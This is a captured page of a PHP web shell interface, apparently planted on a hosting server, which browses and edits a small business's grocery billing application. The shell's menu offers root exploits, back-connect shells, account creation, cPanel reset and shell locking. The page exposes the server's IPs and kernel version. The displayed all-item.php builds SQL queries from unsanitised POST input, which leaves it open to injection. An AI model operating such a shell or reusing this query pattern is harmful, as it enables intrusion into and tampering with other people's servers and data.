Linux server.hostify.co.in 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
Apache
: 162.214.74.213 | : 216.73.216.77
438 Domain
8.2.31
orangegroceries
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
orangegroceries /
public_html /
billing /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
1add-new-item.php
17.03
KB
-rw-r--r--
add-delivery-challan.php
10.46
KB
-rw-r--r--
add-estimate.php
23.75
KB
-rw-r--r--
add-expences-category.php
6.73
KB
-rw-r--r--
add-expences-item.php
10.97
KB
-rw-r--r--
add-expences.php
16.81
KB
-rw-r--r--
add-items.csv
28
B
-rw-r--r--
add-new-item.php
18.64
KB
-rw-r--r--
add-new-party.php
10.54
KB
-rw-r--r--
add-new-return.php
21.23
KB
-rw-r--r--
add-new-sale.php
9.53
KB
-rw-r--r--
add-new-vendor.php
10.08
KB
-rw-r--r--
add-parties.csv
38
B
-rw-r--r--
add-party.csv
28
B
-rw-r--r--
add-payment-due.php
11.23
KB
-rw-r--r--
add-payment-in.php
10.74
KB
-rw-r--r--
add-payment-out.php
8.78
KB
-rw-r--r--
add-purchase-detail.php
34.35
KB
-rw-r--r--
add-purchase-order.php
24.45
KB
-rw-r--r--
add-purchase-return.php
21.25
KB
-rw-r--r--
add-sale-detail.php
35.3
KB
-rw-r--r--
add-sale-order.php
10.22
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
ajax_add_item.php
785
B
-rw-r--r--
ajax_get_item.php
1.03
KB
-rw-r--r--
ajax_get_item1.php
284
B
-rw-r--r--
ajax_get_tax.php
872
B
-rw-r--r--
all-expences.php
4.89
KB
-rw-r--r--
all-item.php
33.57
KB
-rw-r--r--
all-parties.php
5.48
KB
-rw-r--r--
all-party.php
21.53
KB
-rw-r--r--
all-purchase-list.php
8.28
KB
-rw-r--r--
all-purchase-order.php
12.82
KB
-rw-r--r--
all-sale-invoice.php
30.85
KB
-rw-r--r--
all-sale-list.php
6.47
KB
-rw-r--r--
all-sale-order.php
15.67
KB
-rw-r--r--
all-transactions.php
7.73
KB
-rw-r--r--
all-vendor.php
20.5
KB
-rw-r--r--
balance-sheet.php
22.25
KB
-rw-r--r--
bank-statement.php
4.89
KB
-rw-r--r--
bank-transaction.php
4.97
KB
-rw-r--r--
bill-wise-profits.php
8.73
KB
-rw-r--r--
cash-flow.php
10.94
KB
-rw-r--r--
cash-transaction.php
4.46
KB
-rw-r--r--
convert-purchase-order-detail....
17.64
KB
-rw-r--r--
dashboard.php
117.9
KB
-rw-r--r--
day-book.php
3.78
KB
-rw-r--r--
day_book.php
7.87
KB
-rw-r--r--
delete_delivery_challan.php
288
B
-rw-r--r--
delete_estimate.php
267
B
-rw-r--r--
delete_expct.php
279
B
-rw-r--r--
delete_expences.php
263
B
-rw-r--r--
delete_expitm.php
277
B
-rw-r--r--
delete_item.php
264
B
-rw-r--r--
delete_party.php
258
B
-rw-r--r--
delete_paymin.php
269
B
-rw-r--r--
delete_paymout.php
274
B
-rw-r--r--
delete_primery_unit.php
265
B
-rw-r--r--
delete_purchase.php
270
B
-rw-r--r--
delete_purchase_order.php
284
B
-rw-r--r--
delete_purchase_return.php
281
B
-rw-r--r--
delete_return.php
260
B
-rw-r--r--
delete_sales.php
266
B
-rw-r--r--
delete_sales_item.php
181
B
-rw-r--r--
delete_secd_unit.php
270
B
-rw-r--r--
delete_taxrate.php
257
B
-rw-r--r--
delete_vendor.php
258
B
-rw-r--r--
delivery-challan.php
11.48
KB
-rw-r--r--
discount-report.php
4.81
KB
-rw-r--r--
edit-delivery-challan.php
22.32
KB
-rw-r--r--
edit-estimate.php
22.26
KB
-rw-r--r--
edit-expences-detail.php
19.06
KB
-rw-r--r--
edit-firm.php
7.62
KB
-rw-r--r--
edit-new-return.php
23.71
KB
-rw-r--r--
edit-payment-out.php
6.23
KB
-rw-r--r--
edit-purchase-detail.php
36.19
KB
-rw-r--r--
edit-purchase-order-detail.php
17.66
KB
-rw-r--r--
edit-purchase-return.php
23.69
KB
-rw-r--r--
edit-purchase-return1.php
10.56
KB
-rw-r--r--
edit-sale-detail.php
21.84
KB
-rw-r--r--
edit-sale-order-detail.php
17.72
KB
-rw-r--r--
edit-sale-order.php
10.39
KB
-rw-r--r--
edit_expct.php
293
B
-rw-r--r--
edit_expitm.php
291
B
-rw-r--r--
edit_item.php
616
B
-rw-r--r--
edit_party.php
284
B
-rw-r--r--
edit_paymtin.php
295
B
-rw-r--r--
edit_paymtout.php
299
B
-rw-r--r--
edit_primery_unit.php
288
B
-rw-r--r--
edit_secd_unit.php
290
B
-rw-r--r--
edit_taxrate.php
284
B
-rw-r--r--
edit_vendor.php
284
B
-rw-r--r--
estimate.php
15.65
KB
-rw-r--r--
expense-category-report.php
4.66
KB
-rw-r--r--
expense-item-report.php
5.04
KB
-rw-r--r--
expense-transaction.php
5.6
KB
-rw-r--r--
fetch_orders.php
1.87
KB
-rw-r--r--
fetch_profit_report.php
2.15
KB
-rw-r--r--
fetch_purchase_data.php
2.74
KB
-rw-r--r--
fetch_transactions.php
5.04
KB
-rw-r--r--
fixed-assets-transaction-summa...
6.73
KB
-rw-r--r--
form-number-27EQ.php
4.87
KB
-rw-r--r--
get_balance.php
631
B
-rw-r--r--
get_conversion_rate.php
570
B
-rw-r--r--
get_due_amt.php
654
B
-rw-r--r--
get_due_amt1.php
1.14
KB
-rw-r--r--
get_gst_price.php
503
B
-rw-r--r--
get_item_expences.php
290
B
-rw-r--r--
get_qty.php
793
B
-rw-r--r--
get_unit_price.php
2.17
KB
-rw-r--r--
get_unit_price1.php
441
B
-rw-r--r--
gst-rate-report.php
5.25
KB
-rw-r--r--
gst-report.php
4.99
KB
-rw-r--r--
home.php
1.58
KB
-rw-r--r--
import-item.php
6.11
KB
-rw-r--r--
import-parties.php
5.88
KB
-rw-r--r--
index.php
19.06
KB
-rw-r--r--
invoice-estimate-detail.php
57.5
KB
-rw-r--r--
invoice-sale-detail.php
30.75
KB
-rw-r--r--
invoice.php
30.14
KB
-rw-r--r--
item-detail.php
4.75
KB
-rw-r--r--
item-report-by-party.php
5.74
KB
-rw-r--r--
item-wise-profit-lose.php
6.4
KB
-rw-r--r--
itemwise-discount.php
5.98
KB
-rw-r--r--
logout.php
128
B
-rw-r--r--
low-stock-summary.php
4.31
KB
-rw-r--r--
manage-stocks.php
5.04
KB
-rw-r--r--
other-assets-transaction-summa...
7.18
KB
-rw-r--r--
parties-report-by-item.php
6.68
KB
-rw-r--r--
party-statement.php
24.88
KB
-rw-r--r--
party-wise-profit-lose.php
5.42
KB
-rw-r--r--
payment-in.php
21.54
KB
-rw-r--r--
payment-out.php
21.76
KB
-rw-r--r--
primery-units.php
7.97
KB
-rw-r--r--
purchase-return.php
13.37
KB
-rw-r--r--
return.php
13.06
KB
-rw-r--r--
sale-or-purchase-report-by-ite...
4.78
KB
-rw-r--r--
sale-order-item.php
5.48
KB
-rw-r--r--
sale-orders.php
5.95
KB
-rw-r--r--
sale-purchase-by-party-group.p...
4.26
KB
-rw-r--r--
sale-purchase-by-party.php
4.98
KB
-rw-r--r--
secondary-units.php
7.95
KB
-rw-r--r--
sidebar.php
13.08
KB
-rw-r--r--
stock-detail.php
6.22
KB
-rw-r--r--
stock-summary-report-by-item-c...
3.04
KB
-rw-r--r--
stock-summary.php
5.27
KB
-rw-r--r--
tax-rate.php
7.05
KB
-rw-r--r--
tcs-receivable.php
4.86
KB
-rw-r--r--
tds-payable.php
5.09
KB
-rw-r--r--
tds-receivable.php
5.1
KB
-rw-r--r--
trial-balance-report.php
25.47
KB
-rw-r--r--
update_items.php
3.13
KB
-rw-r--r--
update_vendor.php
2.36
KB
-rw-r--r--
view-all-party-transaction-det...
5.64
KB
-rw-r--r--
view-balance-details.php
5.93
KB
-rw-r--r--
view-purchase-detail.php
10.26
KB
-rw-r--r--
view-purchase-order-detail.php
8.29
KB
-rw-r--r--
view-sale-detail.php
9.19
KB
-rw-r--r--
view_item.php
485
B
-rw-r--r--
view_party.php
284
B
-rw-r--r--
view_vendor.php
285
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : all-item.php
<?php include("includes/db_config.php"); if(isset($_POST['update'])) { extract($_POST); $id=$_POST["pt_id"]; $check = mysqli_query($conn, "SELECT id FROM ah_item_details WHERE id = '$id'"); if (mysqli_num_rows($check) == 0) { die("Error: Item ID does not exist."); } else{ $sql1 ="UPDATE ah_item_details SET item_name='$item_names',item_hsn='$item_hsn',item_code='$item_code',sale_price='$sale_price',tax_type='$tax_type',disc_sale='$disc_sale' ,wholesale_price='$wholesale_price' ,min_wqty='$min_wqty' ,purchase_price='$purchase_price' ,tax_rate='$tax_rate',punit='$punit',sunit='$sunit',conversion_rate='$conversion_rate' WHERE id='$id'"; $res=mysqli_query($conn,$sql1) or die(mysqli_error()); if($res){ $sql1 ="UPDATE ah_item_tracking_details SET opening_stock='$opening_stock',at_price_unit='$at_price_unit',item_date='$item_date',min_stock_quatity='$min_stock_quatity',item_location='$item_location' WHERE item_id='$id'"; $res=mysqli_query($conn,$sql1) or die(mysqli_error()); } } } ?> <!DOCTYPE html> <html lang="en" dir="ltr" data-theme="light"> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <?php include("includes/css.php");?> <style> .modal-body .form-label { font-weight: 600; } .viewptdt .form-label { font-weight: 600; } .viewptdt label { margin-top: 10px; } .modal-dialog { max-width: 800px !important; margin-right: auto; margin-left: auto; } .low-stock { border: 2px solid red !important; background-color: #ffcccc !important; } </style> </head> <body class="preload-active aside-active aside-mobile-minimized aside-desktop-maximized"> <div class="holder"> <?php include("includes/sidebar.php");?> <div class="wrapper"> <?php include("includes/header.php");?> <div class="content"> <div class="container-fluid g-5"> <div class="row"> <div class="col-12"> <div class="portlet"> <div class="portlet-header portlet-header-bordered"> <h3 class="portlet-title">All Item Details</h3> </div> <div class="portlet-body table-responsive"> <table id="datatable-1" class="table table-bordered table-striped table-hover"> <thead> <tr> <th>Item Name</th> <th>Item Code</th> <th>Item HSN/SAC</th> <th>Sale Price</th> <th>Quantity</th> <th>Tax Rate </th> <th> <center>Action</center> </th> </tr> </thead> <tbody> <?php $j=1; $sql="select * from ah_item_details"; $result = mysqli_query($conn, $sql); while($res= mysqli_fetch_array($result)){ $iid=$res['id']; $tid=$res['tax_rate']; $sqltp=mysqli_query($conn,"SELECT * from ah_item_tracking_details where item_id='".$iid."'"); $restp=mysqli_fetch_array($sqltp); $sqlts=mysqli_fetch_array(mysqli_query($conn,"select * from tax_rate where id='".$tid."'"));?> <tr> <td><?= $res['item_name'];?></td> <td><?= $res['item_code'];?></td> <td><?= $res['item_hsn'];?></td> <td>₹ <?= $res['sale_price'];?></td> <td><?= $restp['opening_stock'];?></td> <td><?= $sqlts['tax_gst'];?></td> <td> <center> <button name="view" value="View" id="<?php echo $res["id"]; ?>" class="btn btn-success view_data"> <i class="far fa-eye"></i></button> <button name="edit" id="<?= $res['id'];?>" class="btn btn-success edit_data"> <i class="far fa-edit"></i></button> <a href="javascript:delete_ptype_by_ID('<?php echo $res['id'] ?>');" class="btn btn-danger shadow btn-xs sharp"><i class="fa fa-trash"></i></a> </center> </td> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> </div> </div> <div class="modal fade" id="modal3" data-bs-backdrop="static"> <div class="modal-dialog dialog-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">Edit All Item Details</h5><button type="button" class="btn btn-label-danger btn-icon" data-bs-dismiss="modal"><i class="fa fa-times"></i></button> </div> <form class="g-3" id="updateitemsForm" method="post"> <div class="row modal-body"> <div class="mb-3 col-md-6"> <label class="form-label">Item Name</label> <input type="text" placeholder="Enter Item Name" name="item_name" id="item_names" class="form-control"> </div> <div class="mb-3 col-md-3"> <label class="form-label">Item HSN/SAC</label> <input type="text" placeholder="Enter Item HSN/SAC" name="item_hsn" id="item_hsns" class="form-control"> </div> <div class="mb-3 col-md-3"> <label class="form-label">Item Code</label> <input type="text" placeholder="Item Code" name="item_code" id="item_codes" class="form-control"> </div> <h3 style="font-size:18px;color:blue;">Unit Detail</h3> <div class="mb-3 col-md-3"> <label class="form-label">Primary Unit</label> <select class="form-control puid punit" name="punit" id="uid"> <option value="">Select</option> <?php $sql2 = "SELECT * FROM primery_unit"; $exe2 = mysqli_query($conn, $sql2); while ($res2 = mysqli_fetch_array($exe2)) { ?> <option value="<?= $res2['id']; ?>" data-unit="<?= $res2['unit']; ?>"> <?= $res2['unit']; ?> (<?= $res2['short_name']; ?>) </option> <?php } ?> </select> </div> <div class="mb-3 col-md-3"> <label class="form-label">Secondary Unit</label> <select class="form-control sunit" name="sunit" id="sid"> <option value="">Select</option> <?php $sql2 = "SELECT * FROM primery_unit"; $exe2 = mysqli_query($conn, $sql2); while ($res2 = mysqli_fetch_array($exe2)) { ?> <option value="<?= $res2['id']; ?>" data-unit="<?= $res2['unit']; ?>"> <?= $res2['unit']; ?> (<?= $res2['short_name']; ?>) </option> <?php } ?> </select> </div> <div class="mb-3 col-md-6" id="crate"> <label class="form-label">Select Conversion Rate</label><br> <input type="radio" name="ctrate"> 1 <span class="punitsss"></span> = <input type="text" value="0.0" name="conversion_rate" id="conversion_rate" class="form-control"> <span class="sunits"></span> </div> <h3 style="font-size:18px;color:blue;">Sale Prices</h3> <div class="mb-3 col-md-3"> <label class="form-label">Sale Price</label> <input type="text" placeholder="" name="sale_price" id="sale_prices" class="form-control"> </div> <div class="mb-3 col-md-6"> <label class="form-label"> Disc. On Sale Price</label> <input type="text" placeholder="" name="disc_sale" id="" class="form-control"> </div> <div class="mb-3 col-md-3"> <label class="form-label">Tax Type</label> <select class="form-control" name="tax_type" id="tax_types"> <option value="">Select</option> <option value="With Tax">With Tax</option> <option value="Without Tax">Without Tax</option> </select> </div> <div class="mb-3 col-md-3"> <label class="form-label">Percentage(%)/Amount</label> <select class="form-control" name="disc_type" id="disc_types"> <option value="">Select</option> <option value="Percentage">Percentage</option> <option value="Amount">Amount</option> </select> <!--<input type="text" placeholder="" name="disc_type" id="disc_types" class="form-control">--> </div> <h3 style="font-size:18px;color:blue;">Wholesale Prices</h3> <div class="mb-3 col-md-3"> <label class="form-label">Wholesale Price</label> <input type="text" placeholder="" name="wholesale_price" id="wholesale_prices" class="form-control"> </div> <div class="mb-3 col-md-3"> <label class="form-label">Tax Type</label> <select class="form-control" name="wtax" id="wtaxs"> <option value="">Select</option> <option>With Tax</option> <option>Without Tax</option> </select> </div> <div class="mb-3 col-md-3"> <label class="form-label">Minimum Wholesale Qty</label> <input type="text" placeholder="" name="min_wqty" id="min_wqtys" class="form-control"> </div> <h3 style="font-size:18px;color:blue;">Purchase Prices</h3> <div class="mb-3 col-md-3"> <label class="form-label">Purchase Price</label> <input type="text" placeholder="" name="purchase_price" id="purchase_prices" class="form-control"> </div> <div class="mb-3 col-md-3"> <label class="form-label">Tax Type</label> <select class="form-control" name="ptax" id="ptaxs"> <option value="">Select</option> <option>With Tax</option> <option>Without Tax</option> </select> </div> <div class="mb-3 col-md-3"> <label class="form-label">Select Tax Rate</label> <select class="form-control" name="tax_rate" id="tax_rates"> <option value="">None</option> <?php $sql2="SELECT * from tax_rate"; $exe2=mysqli_query($conn,$sql2); while($res2=mysqli_fetch_array($exe2)){ ?> <option value="<?= $res2['id'];?>"><?= $res2['tax_gst'];?></option> <?php } ?> </select> </div> <div class="clearfix"></div> <div class="mb-3 col-md-12"> <h3 style="font-size:18px;color:blue;">Stock</h3> </div> <div class="mb-3 col-md-3"> <label class="form-label">Opening Stock</label> <input type="tel" name="opening_stock" id="opening_stock" placeholder="Opening Stock" class="form-control"> </div> <div class="mb-3 col-md-4"> <label class="form-label">At Price/Unit</label> <input type="text" name="at_price_unit" id="at_price_unit" placeholder="At Price/Unit" class="form-control"> </div> <div class="mb-3 col-md-4"> <label class="form-label">Date</label> <input type="text" placeholder="" name="item_date" id="item_dates" class="form-control"> </div> <div class="mb-3 col-md-4"> <label class="form-label">Min Stock Quantity</label> <input type="text" class="form-control" name="min_stock_quatity" id="min_stock_quatitys"> </div> <div class="mb-3 col-md-4"> <label class="form-label">Item Location</label> <input type="text" class="form-control" name="item_location" id="item_location"> </div> <!-- <div class="mb-3 col-md-8"> <label class="form-label">Images</label> <img src="" style="width:60px;height:60px;"> <br/> <input type="file" class="form-control"> </div> --> </div> <input type="hidden" name="pt_id" id="pt_id" /> <div class="modal-footer"><button type="submit" name="update" id="insert" class="btn btn-primary">Update</button></div> </form> </div> </div> </div> <div class="modal fade" id="modal2" data-bs-backdrop="static"> <div class="modal-dialog dialog-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title">View Item Details</h5><button type="button" class="btn btn-label-danger btn-icon" data-bs-dismiss="modal"><i class="fa fa-times"></i></button> </div> <div class="row modal-body"> <div class="mb-3 col-md-6"> <label class="form-label">Item Name</label> <input type="text" placeholder="Enter Item Name" name="item_name" id="item_name" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Primary Unit</label> <input type="text" placeholder="Enter Primary Unit" name="item_name" id="item_name" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Secondry Unit</label> <input type="text" placeholder="Enter Secondry Unit" name="item_name" id="item_name" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label"> Totals</label> <input type="text" placeholder="10 kg = 1 bags" name="item_name" id="item_name" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Item HSN/SAC</label> <input type="text" placeholder="Enter Item HSN/SAC" name="item_hsn" id="item_hsn" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Item Code</label> <input type="text" placeholder="Item Code" class="form-control" id="item_code" name="item_code" readonly> </div> <div class="clearfix"> </div> <div class="mb-3 col-md-12"> <h3 style="font-size:18px;color:blue;">Sale Prices</h3> </div> <div class="mb-3 col-md-6"> <label class="form-label">Sale Price</label> <input type="text" value="" name="sale_price" id="sale_price" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Tax Type</label> <input type="text" name="tax_type" id="tax_type" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Disc. On Sale Price</label> <input type="text" name="disc_sale" id="disc_sale" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Percentage(%)</label> <input type="text" name="disc_type" id="disc_type" class="form-control" readonly> </div> <div class="clearfix"></div> <div class="mb-3 col-md-12"> <h3 style="font-size:18px;color:blue;">Wholesale Price</h3> </div> <div class="mb-3 col-md-6"> <label class="form-label">Wholesale Price</label> <input type="text" value="" class="form-control" id="wholesale_price" name="wholesale_price" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Tax Type</label> <input type="text" name="wtax" id="wtax" class="form-control" readonly> </div> <div class="mb-3 col-md-6"> <label class="form-label">Min Wholesale Qty.</label> <input type="text" name="min_wqty" id="min_wqty" class="form-control" readonly> </div> <div class="clearfix"></div> <div class="mb-3 col-md-12"> <h3 style="font-size:18px;color:blue;">Purchase Price</h3> </div> <div class="mb-3 col-md-6"> <label class="form-label">Purchase Price</label> <input type="text" value="" class="form-control" id="purchase_price" name="purchase_price" readonly> </div> <div class="mb-3 col-md-3"> <label class="form-label">Tax Type</label> <input type="text" value="With Tax" name="ptax" id="ptax" class="form-control" readonly> </div> <div class="mb-3 col-md-3"> <label class="form-label"> Tax Rate</label> <input type="text" value="None" name="tax_rate" id="tax_rate" class="form-control" readonly> </div> <div class="clearfix"></div> <div class="mb-3 col-md-12"> <h3 style="font-size:18px;color:blue;">Stock</h3> </div> <div class="mb-3 col-md-3"> <label class="form-label">Opening Stock</label> <input type="tel" name="opening_stock" id="openingstock" placeholder="Opening Stock" class="form-control" readonly> </div> <div class="mb-3 col-md-4"> <label class="form-label">At Price/Unit</label> <input type="text" name="at_price_unit" id="atprice_unit" placeholder="At Price/Unit" class="form-control" readonly> </div> <div class="mb-3 col-md-4"> <label class="form-label">Date</label> <input type="text" placeholder="" name="item_date" id="itemdate" class="form-control" readonly> </div> <div class="mb-3 col-md-4"> <label class="form-label">Min Stock Quantity</label> <input type="text" class="form-control" name="minstock_quatity" id="min_stock_quatity" readonly> </div> <div class="mb-3 col-md-4"> <label class="form-label">Item Location</label> <input type="text" class="form-control" name="item_location" id="itemlocation" readonly> </div> <!-- <div class="mb-3 col-md-8"> <label class="form-label">Images</label> <img src="" style="width:55px;float:left"> <img src="" style="width:55px;float:left"> <img src="" style="width:55px;float:left" readonly> </div> --> </div> </div> </div> </div> <?php include("includes/footer.php");?> </div> </div> <?php include("includes/js.php");?> <script type="text/javascript"> $(document).ready(function() { $(document).on('click', '.view_data', function() { var tm_id = $(this).attr("id"); $.ajax({ url: "view_item.php", method: "POST", data: { tm_id: tm_id }, dataType: "json", success: function(data) { console.log(data); $('#item_name').val(data.item_name); $('#item_hsn').val(data.item_hsn); $('#item_code').val(data.item_code); $('#sale_price').val(data.sale_price); $('#tax_type').val(data.tax_type); $('#disc_sale').val(data.disc_sale); $('#disc_type').val(data.disc_type); // wholesale_price $('#wholesale_price').val(data.wholesale_price); $('#wtax').val(data.wtax); $('#tax_rate').val(data.tax_rate); // purchase_prices $('#purchase_price').val(data.purchase_price); $('#ptax').val(data.ptax); $('#tax_rate').val(data.tax_rate); $('#openingstock').val(data.opening_stock); $('#atprice_unit').val(data.at_price_unit); $('#itemdate').val(data.item_date); $('#minstock_quatity').val(data.min_stock_quatity); $('#itemlocation').val(data.item_location); $('#at_price_unit').val(data.at_price_unit); // $('#insert').val("Update"); $('#modal2').modal('show'); } }); }); }); $(document).ready(function() { $("#insert").click(function(e) { e.preventDefault(); // Prevent form submission $.ajax({ url: "update_items.php", type: "POST", data: $("#updateitemsForm").serialize(), success: function(response) { response = response.trim(); if (response === "success") { alert("✅ Item Updated Successfully!"); $("#modal3").modal("hide"); // Close modal location.reload(); // Refresh data } else { console.error("Server Response:", response); // Log error to console alert("⚠️ Error updating item:\n" + response); } }, error: function(xhr, status, error) { console.error("AJAX Error:", error); // Log AJAX errors alert("⚠️ AJAX Request Failed:\n" + xhr.responseText); } }); }); $(document).on('click', '.edit_data', function() { var pt_id = $(this).attr("id"); $.ajax({ url: "edit_item.php", method: "POST", data: { pt_id: pt_id }, dataType: "json", success: function(data) { console.log(data); $('#receipt_no').val(data.receipt_no); $('#pdate').val(data.receipt_date); $('#item_names').val(data.item_name); $('#item_hsns').val(data.item_hsn); $('#item_codes').val(data.item_code); $('#sale_prices').val(data.sale_price); $('#tax_types').val(data.tax_type); $('#disc_sales').val(data.disc_sale); $('#disc_types').val(data.disc_type); $('#uid').val(data.punit); $('#sid').val(data.sunit); $('#conversion_rate').val(data.conversion_rate); // wholesale_price $('#wholesale_prices').val(data.wholesale_price); $('#wtaxs').val(data.wtax); $('#min_wqtys').val(data.min_wqty); // purchase_prices $('#purchase_prices').val(data.purchase_price); $('#ptaxs').val(data.ptax); $('#tax_rates').val(data.tax_rate); $('#opening_stock').val(data.opening_stock); $('#at_price_unit').val(data.at_price_unit); $('#item_dates').val(data.item_date); $('#min_stock_quatitys').val(data.min_stock_quatity); $('#item_location').val(data.item_location); $('#pt_id').val(data.updateId); $('#insert').val("Update"); $('#modal3').modal('show'); } }); }); $("#uid").change(function() { var selectedPrimary = $(this).val(); var primaryText = $("#uid option:selected").text(); // Disable the selected primary unit in secondary dropdown $("#sid option").each(function() { if ($(this).val() === selectedPrimary) { $(this).prop("disabled", true); } else { $(this).prop("disabled", false); } }); $(".punitsss").text(primaryText); // Update conversion label checkConversionDisplay(); }); // Handle Secondary Unit Selection $("#sid").change(function() { var secondaryText = $("#sid option:selected").text(); $(".sunits").text(secondaryText); // Update conversion label checkConversionDisplay(); // Fetch price based on selection fetchPrice(); }); // Show/hide conversion rate section function checkConversionDisplay() { if ($("#uid").val() !== "" && $("#sid").val() !== "") { $("#crate").show(); } else { $("#crate").hide(); } } // Fetch price from server function fetchPrice() { var primaryUnit = $("#uid").val(); var secondaryUnit = $("#sid").val(); if (primaryUnit && secondaryUnit) { $.ajax({ url: "get_conversion_rate.php", type: "POST", data: { punit: primaryUnit, sunit: secondaryUnit }, success: function(response) { $("#conversion_rate").val(response.rate); } }); } } }); function delete_ptype_by_ID(id) { if (confirm('Do You Want to Deleting This \nContinue anyway?')) { window.location.href = 'delete_item.php?id=' + id; } } document.addEventListener("DOMContentLoaded", function() { let openingStockInput = document.getElementById('opening_stock'); let minStockInput = document.getElementById('min_stock_quatitys'); function checkStock() { let openingStock = parseInt(openingStockInput.value) || 0; let minStock = parseInt(minStockInput.value) || 0; if (openingStock === minStock && minStock <= 10) { Swal.fire({ title: 'Low Stock Alert!', text: 'Opening stock is equal to the minimum stock quantity. Please add stocks!', icon: 'warning' }); } else { } } // Listen for input changes (if needed) openingStockInput.addEventListener("input", checkStock); minStockInput.addEventListener("input", checkStock); }); </script> </body> </html>
Close